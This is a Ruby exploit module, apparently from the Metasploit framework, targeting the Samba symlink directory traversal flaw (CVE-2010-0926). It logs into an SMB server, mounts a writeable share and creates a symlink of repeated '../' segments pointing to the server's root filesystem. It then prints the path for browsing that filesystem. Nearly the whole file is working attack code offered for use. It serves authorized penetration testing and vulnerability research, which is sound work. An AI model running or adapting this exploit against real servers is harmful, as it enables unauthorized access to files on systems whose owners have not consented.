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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  # Exploit mixins should be called first
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Auxiliary::Report
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  # Aliases for common classes
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  SIMPLE = Rex::Proto::SMB::SimpleClient
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  XCEPT  = Rex::Proto::SMB::Exceptions
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  CONST  = Rex::Proto::SMB::Constants
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  def initialize
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    super(
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      'Name'        => 'Samba Symlink Directory Traversal',
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      'Description' => %Q{
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        This module exploits a directory traversal flaw in the Samba
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      CIFS server. To exploit this flaw, a writeable share must be specified.
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      The newly created directory will link to the root filesystem.
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      },
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      'Author'      =>
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        [
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          'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
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          'hdm'    # metasploit module
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        ],
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      'References'  =>
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        [
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          ['CVE', '2010-0926'],
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          ['OSVDB', '62145'],
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          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
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        ],
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      'License'     => MSF_LICENSE
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    )
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    register_options([
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      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
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      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
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    ])
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    deregister_options('SMB::ProtocolVersion')
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  end
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  def run
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    print_status("Connecting to the server...")
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    connect(versions: [1])
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    smb_login()
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    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
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    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
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    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
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    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
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    print_status("Now access the following share to browse the root filesystem:")
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    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
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    print_line("")
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  end
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end
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